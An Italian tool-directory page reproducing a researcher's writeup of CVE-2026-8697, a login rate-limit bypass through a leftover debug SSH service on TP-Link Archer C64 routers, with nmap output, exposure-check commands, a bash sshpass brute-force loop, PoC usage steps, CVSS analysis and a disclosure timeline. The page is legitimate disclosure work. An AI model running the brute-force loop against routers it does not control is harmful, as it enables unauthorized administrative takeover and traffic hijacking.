Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-8697 — Writeup dettagliato su CVE-2026-8697 con exploit POC per un bypass del rate-limit di login sui router TP-Link Archer C64 tramite un servizio SSH di debug, che consente attacchi di forza bruta sulle password non autenticati. | Kitploit
Strumenti/GitHubGitHub/itzmetanjim/cve-2026-8697
RicognizioneSicurezza IoTAttacchi alle PasswordAnalisi delle VulnerabilitàExploitSicurezza di RetePenetration TestingSicurezza Hardware e IoTPaper e RicercaApprendimento e Formazione
GitHubitzmetanjim/cve-2026-8697

cve-2026-8697

1133 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Writeup dettagliato su CVE-2026-8697 con exploit POC per un bypass del rate-limit di login sui router TP-Link Archer C64 tramite un servizio SSH di debug, che consente attacchi di forza bruta sulle password non autenticati.

Vedi Repository
Condividi

CVE-2026-8697: Bypass del limite di tentativi di accesso su TP-Link Archer C64

CVE-2026-8697 è un difetto logico nel sistema operativo del TP-Link Archer C64 (chiamato TPOS nel messaggio di debug). Consente a qualsiasi utente non privilegiato connesso al router di aggirare il limite di tentativi dell'interfaccia web utilizzando un servizio SSH residuo. Un semplice script Python può essere utilizzato per provare molte password in breve tempo e ottenere pieno accesso amministrativo al router.

POC: poc.py

Il router dispone di un servizio SSH di debug che non concede una shell sul router, ma si limita a terminare quando viene inserita la password corretta. Tuttavia, utilizza la stessa password dell'interfaccia di amministrazione e non ha né limiti di tentativi né policy di blocco. Può quindi essere usato come un oracolo di autenticazione ad alta velocità per forzare la password. Questa vulnerabilità può essere sfruttata da dispositivi IoT dannosi o compromessi sulla rete per ottenere pieno accesso amministrativo al router. Un attaccante non può ottenere una shell tramite questa interfaccia, ma può facilmente verificare le credenziali per compromettere l'interfaccia web di gestione principale.

Questa vulnerabilità è stata corretta nella versione del firmware 1.15.0, che rimuove semplicemente il servizio. Per testare il tuo router, usa questo comando (Linux/macOS):

root@kitploit:~
timeout 10 nc -vz 192.168.0.1 22
echo $?

Sostituisci l'indirizzo IP con quello che usi per connetterti all'interfaccia web del router. Se l'output è 0 o mostra succeeded!, il tuo router è vulnerabile. In caso contrario, non lo è. Su Windows, esegui quanto segue in PowerShell:

root@kitploit:~
tnc 192.168.0.1 -Port 22

Se mostra TcpTestSucceeded : True, il tuo router è vulnerabile. Altrimenti, se rimane in sospeso indefinitamente o lo mostra come False, non è vulnerabile.

Il bug è interamente di natura logica e non richiede corruzione della memoria, bypass di ASLR o vincere condizioni di gara (race condition).

Scoperta e Riproduzione

All'epoca stavo imparando Nmap e per divertimento ho deciso di scansionare il mio router. Non stavo cercando vulnerabilità, ma ho notato un servizio SSH aperto.

root@kitploit:~
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey: 
|_  1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp  open  tcpwrapped
80/tcp  open  http       TP-LINK router http config
|_http-title: Opening...
443/tcp open  ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after:  2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

Il log sopra mostra un servizio SSH che esegue OpenSSH 6.6.0 (una versione legacy del 2014, ma la versione non è rilevante per questo). Vedendo la versione molto vecchia, ho sospettato che potesse essere usata da un attaccante e ho provato a connettermi via SSH con l'intenzione di ottenere una shell e aggiornare il firmware. In quel momento stavo cercando di mettere in sicurezza il mio router, non di trovare vulnerabilità. Tuttavia, la connessione presentava un problema interessante: gli algoritmi di host key e di chiave pubblica non erano supportati dalla mia versione di OpenSSH. Anche l'uso di -o non funzionava sul mio sistema, quindi ho dovuto usare un container debian:bullseye-slim che ha un client OpenSSH con supporto per gli algoritmi diffie-hellman-group14-sha1 e ssh-dss.

All'interno del container, dopo aver installato il client OpenSSH, sono riuscito a connettermi al server SSH.

root@kitploit:~
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
    -o HostKeyAlgorithms=+ssh-dss [email protected]

Ho usato questo comando e alla fine sono riuscito a connettermi al server SSH, che mi ha accolto con il messaggio TPOS 5 IPSSH Test e una richiesta di password. Tuttavia, dopo aver inserito la password, la connessione si chiudeva immediatamente. Ho anche provato a eseguire direttamente un comando, ma non lo eseguiva. Ho capito che non c'era una shell, quindi un attaccante non poteva ottenere accesso al mio router. Quindi il mio router è al sicuro, giusto? Beh, non proprio. Ho capito che anche se non si otteneva alcun accesso, si veniva comunque a sapere se la password era corretta o no. E quella password era la stessa dell'interfaccia web, e non c'erano assolutamente limiti di tentativi o altro per fermare un attacco di forza bruta. È stato allora che mi è venuta l'idea di trasformare tutto questo in una CVE. Ho provato ad automatizzare l'attacco. Prima ho provato a usare sshpass in un loop bash, ma non era possibile usare più password per connessione, quindi ho provato a creare uno script Python. Questo è il POC allegato.

Per usare il POC, crea prima un venv e installa pexpect. Nota che lo script non usa il modulo pxssh di Pexpect poiché non supporta provare più password in una singola connessione.

root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install pexpect

Salva lo script in poc.py ed eseguilo. Puoi opzionalmente passare come primo argomento il percorso di una lista di password separate da newline. Se non lo fai, userà i numeri da 1 a 100 come password (per testare la velocità).

root@kitploit:~
python3 poc.py list.txt

Puoi parallelizzare l'attacco eseguendo più istanze con liste diverse. Se esegui più di 3 istanze, inizierai a vedere errori di connessione. Lo script garantisce comunque che tutte le password vengano provate.

root@kitploit:~
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &

Impatto Potenziale

Un attaccante può usare un dispositivo IoT dannoso o compromesso sulla rete per forzare la password e ottenere accesso amministrativo all'interfaccia di amministrazione. L'utente non ha alcuna indicazione che questo stia accadendo, e l'attaccante può portare avanti l'operazione a lungo senza essere rilevato. Una volta ottenuto l'accesso all'interfaccia di amministrazione, l'attaccante può modificare le impostazioni DNS per effettuare DNS hijacking, cambiare la password del Wi-Fi per escludere gli utenti, usare il routing statico per intercettare il traffico non crittografato o bloccare l'accesso alla rete instradando verso un IP inesistente, inoltrare porte, disattivare il firewall/ALG e altro ancora.

CVSS 4.0

Il vettore di attacco CVSS 4.0 per questa vulnerabilità è:

root@kitploit:~
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H

, che corrisponde a un punteggio di 9.3 Critico. La mia motivazione per ogni metrica è la seguente:

  • Vettore di attacco (AV): Adiacente (A) L'attaccante deve essere connesso alla rete Wi-Fi per sfruttare questa vulnerabilità.
  • Complessità di attacco (AC): Bassa (L) L'attacco è semplice e non richiede condizioni particolari. Un'implementazione di base dell'attacco può essere simile a questa:
root@kitploit:~
while read pass;do
    sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
    if [ $? -eq 0 ]; then
        echo "Password found: $PASS"
        break
    fi
done < list.txt

(nota che questo è più lento dello script POC poiché non prova più password per connessione)

  • Requisiti di attacco (AT): Nessuno (N) Questo è un bug puramente logico e non richiede condizioni come vincere una race condition.
  • Privilegi richiesti (PR): Nessuno (N) Non sono richiesti privilegi particolari. Nota che il requisito di essere connessi alla rete Wi-Fi è già incluso in AV:A.
  • Interazione dell'utente (UI): Nessuna (N) L'attacco può essere eseguito senza alcuna interazione dell'utente.
  • Riservatezza, Integrità e Disponibilità del Sistema Vulnerabile (VC,VI,VA): Alta (H) L'attaccante ottiene pieno accesso amministrativo al router, il che costituisce un compromesso completo della riservatezza e dell'integrità del router. L'attaccante può facilmente rendere il router inutilizzabile in molti modi e richiedere l'accesso fisico per risolvere il problema (ad es. usando la funzione Access Control per consentire solo a un indirizzo MAC inesistente di accedere all'interfaccia di amministrazione, spegnendo il Wi-Fi e modificando le impostazioni Internet per interrompere l'accesso a Internet).
  • Riservatezza e Integrità del Sistema Successivo (SC,SI): Bassa (L) L'attaccante può intercettare il traffico usando vari metodi (ad es. modificando il DNS, usando il routing statico), quindi non è Nessuno. Tuttavia, considerando il fatto che la maggior parte del traffico è crittografato, l'impatto sul sistema successivo è limitato. (Anche se non sono sicuro se dovrebbe essere Alta o Bassa)
  • Disponibilità del Sistema Successivo (SA): Alta (H) L'attaccante può facilmente interrompere l'accesso a Internet di tutti i dispositivi connessi al router.

Analisi e Discrepanza del CVSS 4.0

Il vendor (TP-Link) ha pubblicato questa vulnerabilità con un punteggio di 8.7 (Alto) con il vettore: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Tuttavia, questa ricerca sostiene che l'Impatto sul Sistema Successivo non dovrebbe essere valutato come "Nessuno". Poiché il router funge da gateway principale per tutti i dispositivi connessi:

  1. Disponibilità del Sistema Successivo (SA:H): L'accesso amministrativo consente a un attaccante di bloccare permanentemente l'accesso a Internet per tutti i dispositivi connessi.
  2. Integrità/Riservatezza del Sistema Successivo (SI:L/SC:L): Il DNS hijacking e la manipolazione del routing consentono il reindirizzamento attivo del traffico e la raccolta di metadati.

Pertanto, una rappresentazione più accurata del rischio per la rete domestica è 9.3/Critico come discusso sopra.

Mitigazione

L'aggiornamento del firmware del router alla versione 1.15.0 Build 250729 o successiva risolve il problema.

Cronologia della Divulgazione Coordinata

Riferimenti

  • Advisory di Sicurezza
  • Registro CVE

Questa vulnerabilità è stata scoperta e segnalata da Tanjim Kamal.

  • Sito web: tanjim.org
  • GitHub: itzmetanjim
  • Email: [email protected]
Scarica lo strumento
DataEvento
2026-02-26Vulnerabilità segnalata al TP-Link Product Security Team
2026-03-03Ricevuta conferma iniziale
2026-03-14TP-Link conferma di essere nella fase di verifica e correzione
2026-04-22TP-Link afferma che la vulnerabilità è stata corretta nella versione del firmware 1.15.0, ma il firmware non è ancora disponibile pubblicamente
2026-04-24Il firmware è disponibile pubblicamente
2026-04-26Patch confermata e richiesto l'ID CVE
2026-05-15Inviato sollecito per la scadenza dei 90 giorni a TP-Link
2026-05-15ID CVE riservato
2026-05-29Divulgazione pubblica
2026-05-29Pubblicato il writeup (questo documento)